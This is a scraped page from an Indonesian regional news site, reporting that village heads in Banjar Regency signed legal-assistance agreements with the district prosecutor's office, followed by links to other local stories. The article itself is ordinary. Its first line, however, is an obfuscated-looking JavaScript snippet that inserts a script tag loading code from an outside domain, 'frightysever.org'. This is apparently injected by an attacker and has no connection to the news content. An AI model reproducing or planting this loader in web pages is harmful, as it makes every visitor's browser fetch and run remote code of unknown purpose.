(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Pembakal Tandatangani Perjanjian Kerja Sama dengan Kejari Banjar


KANALKALIMANTAN.COM, MARTAPURA –
Para pembakal (kepala desa) di Kabupaten Banjar mengikuti rapat koordinasi (rakoor) pambakal se-Kabupaten Banjar dan perjanjian kerja sama, di Aula Dinas Pendidikan, Martapura, Sabtu (28/1/2023) pagi.

Penandatanganan yang dimaksud adalah kesepakatan kerja sama dan perjanjian kerja sama antara Pemerintah Desa dan Kejaksaan Negeri Kabupaten Banjar.

Bupati Banjar H Saidi Mansyur melalui sambutan yang dibacakan Asisten Bidang Pemerintahan dan Kesra, H Masruri, menyatakan, penyelenggaraan pemerintahan desa berdasarkan ketentuan Undang-Undang Nomor 6 Tahun 2014 tentang desa terutama akuntabilitas, keterbukaan, efektifitas dan efisiensi.

Penandatanganan kesepakatan kerja sama dan perjanjian kerjasama antara Pemerintah Desa dan Kejaksaan Negeri Kabupaten Banjar, adalah sebagai bentuk perhatian pemerintah daerah yang berkewajiban dalam melakukan pembinaan dan pengawasan pemerintahan desa.

 

 

 

Baca juga : Mobil Polisi Diadang di Kebun Sawit, Kapolres Lamandau Minta Pelaku Serahkan Diri

“Pelaksanaan rakoor, kesepakatan dan perjanjian kerja sama ini sebagai momentum percepatan penyelenggaraan pemerintahan desa dan meningkatkan kinerja desa,” harap dia.

Kepala Kejakaaan Negeri Kabupaten Banjar, Muhammad Bardan menjelaskan, penandatangan perjanjian kerja sama antara Kejari dan Pambakal se-Kabupaten Banjar ini tentang pendampingan penanganan masalah hukum pada pemerintah desa, perdata dan tata usaha negara.

Selaku Jaksa Pengacara Negara (JPN) lanjut Bardan mempunyai tugas mendampingi seluruh pambakal, yaitu dibidang intelijen ada program jaga desa,dan dari pidana umum ada restorasi justice

“Kerjasama ini untuk mencegah atau menghindari hal-hal yang tidak diinginkan yang bertentangan dengan peraturan perundangan yang berlaku,” ungkap dia. (Kanalkalimantan.com/rls)

Reporter : Rls
Editor : Dhani


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.